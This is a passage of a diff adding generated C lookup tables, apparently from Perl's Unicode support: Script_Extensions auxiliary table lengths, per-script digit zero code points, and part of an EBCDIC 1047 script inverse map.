+	SCX_AUX_TABLE_39,
+	SCX_AUX_TABLE_40,
+	SCX_AUX_TABLE_41,
+	SCX_AUX_TABLE_42,
+	SCX_AUX_TABLE_43,
+	SCX_AUX_TABLE_44,
+	SCX_AUX_TABLE_45
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 SCX_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* SCX_AUX_TABLE_1 */,
+	2	/* SCX_AUX_TABLE_2 */,
+	2	/* SCX_AUX_TABLE_3 */,
+	2	/* SCX_AUX_TABLE_4 */,
+	2	/* SCX_AUX_TABLE_5 */,
+	3	/* SCX_AUX_TABLE_6 */,
+	6	/* SCX_AUX_TABLE_7 */,
+	2	/* SCX_AUX_TABLE_8 */,
+	2	/* SCX_AUX_TABLE_9 */,
+	12	/* SCX_AUX_TABLE_10 */,
+	11	/* SCX_AUX_TABLE_11 */,
+	16	/* SCX_AUX_TABLE_12 */,
+	17	/* SCX_AUX_TABLE_13 */,
+	3	/* SCX_AUX_TABLE_14 */,
+	3	/* SCX_AUX_TABLE_15 */,
+	2	/* SCX_AUX_TABLE_16 */,
+	2	/* SCX_AUX_TABLE_17 */,
+	2	/* SCX_AUX_TABLE_18 */,
+	3	/* SCX_AUX_TABLE_19 */,
+	2	/* SCX_AUX_TABLE_20 */,
+	2	/* SCX_AUX_TABLE_21 */,
+	4	/* SCX_AUX_TABLE_22 */,
+	2	/* SCX_AUX_TABLE_23 */,
+	2	/* SCX_AUX_TABLE_24 */,
+	2	/* SCX_AUX_TABLE_25 */,
+	5	/* SCX_AUX_TABLE_26 */,
+	2	/* SCX_AUX_TABLE_27 */,
+	3	/* SCX_AUX_TABLE_28 */,
+	4	/* SCX_AUX_TABLE_29 */,
+	9	/* SCX_AUX_TABLE_30 */,
+	8	/* SCX_AUX_TABLE_31 */,
+	5	/* SCX_AUX_TABLE_32 */,
+	3	/* SCX_AUX_TABLE_33 */,
+	6	/* SCX_AUX_TABLE_34 */,
+	2	/* SCX_AUX_TABLE_35 */,
+	2	/* SCX_AUX_TABLE_36 */,
+	10	/* SCX_AUX_TABLE_37 */,
+	9	/* SCX_AUX_TABLE_38 */,
+	2	/* SCX_AUX_TABLE_39 */,
+	2	/* SCX_AUX_TABLE_40 */,
+	3	/* SCX_AUX_TABLE_41 */,
+	2	/* SCX_AUX_TABLE_42 */,
+	2	/* SCX_AUX_TABLE_43 */,
+	3	/* SCX_AUX_TABLE_44 */,
+	2	/* SCX_AUX_TABLE_45 */
+};
+
+/* This table, indexed by the script enum, gives the zero code point for that
+ * script; 0 if the script has multiple digit sequences.  Scripts without a
+ * digit sequence use ASCII [0-9], hence are marked '0' */
+static const UV script_zeros[] = {
+	'0',	/* Unknown */
+	0x1e950,	/* Adlam */
+	0x11730,	/* Ahom */
+	'0',	/* Anatolian_Hieroglyphs */
+	 0,	/* Arabic */
+	'0',	/* Armenian */
+	'0',	/* Avestan */
+	0x1b50,	/* Balinese */
+	'0',	/* Bamum */
+	'0',	/* Bassa_Vah */
+	'0',	/* Batak */
+	0x9e6,	/* Bengali */
+	0x11c50,	/* Bhaiksuki */
+	'0',	/* Bopomofo */
+	0x11066,	/* Brahmi */
+	'0',	/* Braille */
+	'0',	/* Buginese */
+	'0',	/* Buhid */
+	'0',	/* Canadian_Aboriginal */
+	'0',	/* Carian */
+	'0',	/* Caucasian_Albanian */
+	 0,	/* Chakma */
+	0xaa50,	/* Cham */
+	'0',	/* Cherokee */
+	 0,	/* Common */
+	'0',	/* Coptic */
+	'0',	/* Cuneiform */
+	'0',	/* Cypriot */
+	'0',	/* Cyrillic */
+	'0',	/* Deseret */
+	0x966,	/* Devanagari */
+	'0',	/* Duployan */
+	'0',	/* Egyptian_Hieroglyphs */
+	'0',	/* Elbasan */
+	'0',	/* Ethiopic */
+	'0',	/* Georgian */
+	'0',	/* Glagolitic */
+	'0',	/* Gothic */
+	0xbe6,	/* Grantha */
+	'0',	/* Greek */
+	0xae6,	/* Gujarati */
+	0xa66,	/* Gurmukhi */
+	'0',	/* Han */
+	'0',	/* Hanb */
+	'0',	/* Hangul */
+	'0',	/* Hanunoo */
+	'0',	/* Hatran */
+	'0',	/* Hebrew */
+	'0',	/* Hiragana */
+	'0',	/* Imperial_Aramaic */
+	 0,	/* Inherited */
+	'0',	/* Inscriptional_Pahlavi */
+	'0',	/* Inscriptional_Parthian */
+	0xa9d0,	/* Javanese */
+	'0',	/* Jpan */
+	0x966,	/* Kaithi */
+	0xce6,	/* Kannada */
+	'0',	/* Katakana */
+	0xa900,	/* Kayah_Li */
+	'0',	/* Kharoshthi */
+	0x17e0,	/* Khmer */
+	0xae6,	/* Khojki */
+	0x112f0,	/* Khudawadi */
+	'0',	/* Kore */
+	0xed0,	/* Lao */
+	'0',	/* Latin */
+	0x1c40,	/* Lepcha */
+	0x1946,	/* Limbu */
+	'0',	/* Linear_A */
+	'0',	/* Linear_B */
+	'0',	/* Lisu */
+	'0',	/* Lycian */
+	'0',	/* Lydian */
+	0x966,	/* Mahajani */
+	0xd66,	/* Malayalam */
+	'0',	/* Mandaic */
+	'0',	/* Manichaean */
+	'0',	/* Marchen */
+	0x11d50,	/* Masaram_Gondi */
+	0xabf0,	/* Meetei_Mayek */
+	'0',	/* Mende_Kikakui */
+	'0',	/* Meroitic_Cursive */
+	'0',	/* Meroitic_Hieroglyphs */
+	'0',	/* Miao */
+	0x11650,	/* Modi */
+	0x1810,	/* Mongolian */
+	0x16a60,	/* Mro */
+	0xa66,	/* Multani */
+	 0,	/* Myanmar */
+	'0',	/* Nabataean */
+	0x19d0,	/* New_Tai_Lue */
+	0x11450,	/* Newa */
+	0x7c0,	/* Nko */
+	'0',	/* Nushu */
+	'0',	/* Ogham */
+	0x1c50,	/* Ol_Chiki */
+	'0',	/* Old_Hungarian */
+	'0',	/* Old_Italic */
+	'0',	/* Old_North_Arabian */
+	'0',	/* Old_Permic */
+	'0',	/* Old_Persian */
+	'0',	/* Old_South_Arabian */
+	'0',	/* Old_Turkic */
+	0xb66,	/* Oriya */
+	'0',	/* Osage */
+	0x104a0,	/* Osmanya */
+	0x16b50,	/* Pahawh_Hmong */
+	'0',	/* Palmyrene */
+	'0',	/* Pau_Cin_Hau */
+	'0',	/* Phags_Pa */
+	'0',	/* Phoenician */
+	'0',	/* Psalter_Pahlavi */
+	'0',	/* Rejang */
+	'0',	/* Runic */
+	'0',	/* Samaritan */
+	0xa8d0,	/* Saurashtra */
+	0x111d0,	/* Sharada */
+	'0',	/* Shavian */
+	'0',	/* Siddham */
+	'0',	/* SignWriting */
+	0xde6,	/* Sinhala */
+	0x110f0,	/* Sora_Sompeng */
+	'0',	/* Soyombo */
+	0x1bb0,	/* Sundanese */
+	0x9e6,	/* Syloti_Nagri */
+	'0',	/* Syriac */
+	'0',	/* Tagalog */
+	'0',	/* Tagbanwa */
+	0x1040,	/* Tai_Le */
+	 0,	/* Tai_Tham */
+	'0',	/* Tai_Viet */
+	0x116c0,	/* Takri */
+	0xbe6,	/* Tamil */
+	'0',	/* Tangut */
+	0xc66,	/* Telugu */
+	0x660,	/* Thaana */
+	0xe50,	/* Thai */
+	0xf20,	/* Tibetan */
+	'0',	/* Tifinagh */
+	0x114d0,	/* Tirhuta */
+	'0',	/* Ugaritic */
+	0xa620,	/* Vai */
+	0x118e0	/* Warang_Citi */
+};
+
+static const SCX_enum _Perl_SCX_invmap[] = { /* for EBCDIC 1047 */
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_use_AUX_TABLE_1,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Coptic,
+	SCX_Greek,
+	SCX_Cyrillic,
+	SCX_use_AUX_TABLE_2,
+	SCX_use_AUX_TABLE_3,
+	SCX_use_AUX_TABLE_4,
+	SCX_use_AUX_TABLE_3,
+	SCX_Cyrillic,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_5,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_6,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_7,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_8,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_8,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Arabic,
+	SCX_Thaana,
+	SCX_Unknown,
+	SCX_Nko,
+	SCX_Unknown,
+	SCX_Samaritan,
+	SCX_Unknown,
+	SCX_Samaritan,
+	SCX_Unknown,
+	SCX_Mandaic,
+	SCX_Unknown,
+	SCX_Mandaic,
+	SCX_Unknown,
+	SCX_Syriac,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Arabic,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_10,
+	SCX_use_AUX_TABLE_11,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_12,
+	SCX_use_AUX_TABLE_13,
+	SCX_use_AUX_TABLE_14,
+	SCX_Devanagari,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_15,
+	SCX_Bengali,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_16,
+	SCX_Gurmukhi,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_17,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Gujarati,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Oriya,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_use_AUX_TABLE_18,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_use_AUX_TABLE_18,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_18,
+	SCX_Tamil,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Unknown,
+	SCX_Telugu,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Kannada,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Malayalam,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Thai,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Thai,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Lao,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Tibetan,
+	SCX_Common,
+	SCX_Tibetan,
+	SCX_Unknown,
+	SCX_Myanmar,
+	SCX_use_AUX_TABLE_19,
+	SCX_Myanmar,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_use_AUX_TABLE_20,
+	SCX_Georgian,
+	SCX_use_AUX_TABLE_21,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Unknown,
+	SCX_Canadian_Aboriginal,
+	SCX_Ogham,
+	SCX_Unknown,
+	SCX_Runic,
+	SCX_Common,
+	SCX_Runic,
+	SCX_Unknown,
+	SCX_Tagalog,
+	SCX_Unknown,
+	SCX_Tagalog,
+	SCX_Unknown,
+	SCX_Hanunoo,
+	SCX_use_AUX_TABLE_22,
+	SCX_Unknown,
+	SCX_Buhid,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Tagbanwa,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Khmer,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_use_AUX_TABLE_23,
+	SCX_Mongolian,
+	SCX_use_AUX_TABLE_23,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Canadian_Aboriginal,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Unknown,
+	SCX_Limbu,
+	SCX_Tai_Le,
+	SCX_Unknown,
+	SCX_Tai_Le,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Unknown,
+	SCX_New_Tai_Lue,
+	SCX_Khmer,
+	SCX_Buginese,
+	SCX_Unknown,
+	SCX_Buginese,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Tai_Tham,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Balinese,
+	SCX_Unknown,
+	SCX_Balinese,
+	SCX_Unknown,
+	SCX_Sundanese,
+	SCX_Batak,
+	SCX_Unknown,
+	SCX_Batak,
+	SCX_Lepcha,
+	SCX_Unknown,
+	SCX_Lepcha,
+	SCX_Unknown,
+	SCX_Lepcha,
+	SCX_Ol_Chiki,
+	SCX_Cyrillic,
+	SCX_Unknown,
+	SCX_Sundanese,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_24,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_24,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_use_AUX_TABLE_26,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_25,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_24,
+	SCX_use_AUX_TABLE_27,
+	SCX_Devanagari,
+	SCX_Bengali,
+	SCX_use_AUX_TABLE_24,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Cyrillic,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Latin,
+	SCX_Cyrillic,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_use_AUX_TABLE_28,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Braille,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Coptic,
+	SCX_Unknown,
+	SCX_Coptic,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Cyrillic,
+	SCX_Common,
+	SCX_use_AUX_TABLE_3,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_30,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_32,
+	SCX_use_AUX_TABLE_21,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_33,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_34,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_35,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_35,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_1,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_1,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_21,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_36,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Yi,
+	SCX_Unknown,
+	SCX_Yi,
+	SCX_Unknown,
+	SCX_Lisu,
+	SCX_Vai,
+	SCX_Unknown,
+	SCX_Cyrillic,
+	SCX_use_AUX_TABLE_3,
+	SCX_Cyrillic,
+	SCX_Bamum,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Syloti_Nagri,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_37,
+	SCX_use_AUX_TABLE_38,
+	SCX_Unknown,
+	SCX_Phags_Pa,
+	SCX_Unknown,
+	SCX_Saurashtra,
+	SCX_Unknown,
+	SCX_Saurashtra,
+	SCX_Unknown,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_39,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_40,
+	SCX_Devanagari,
+	SCX_Unknown,
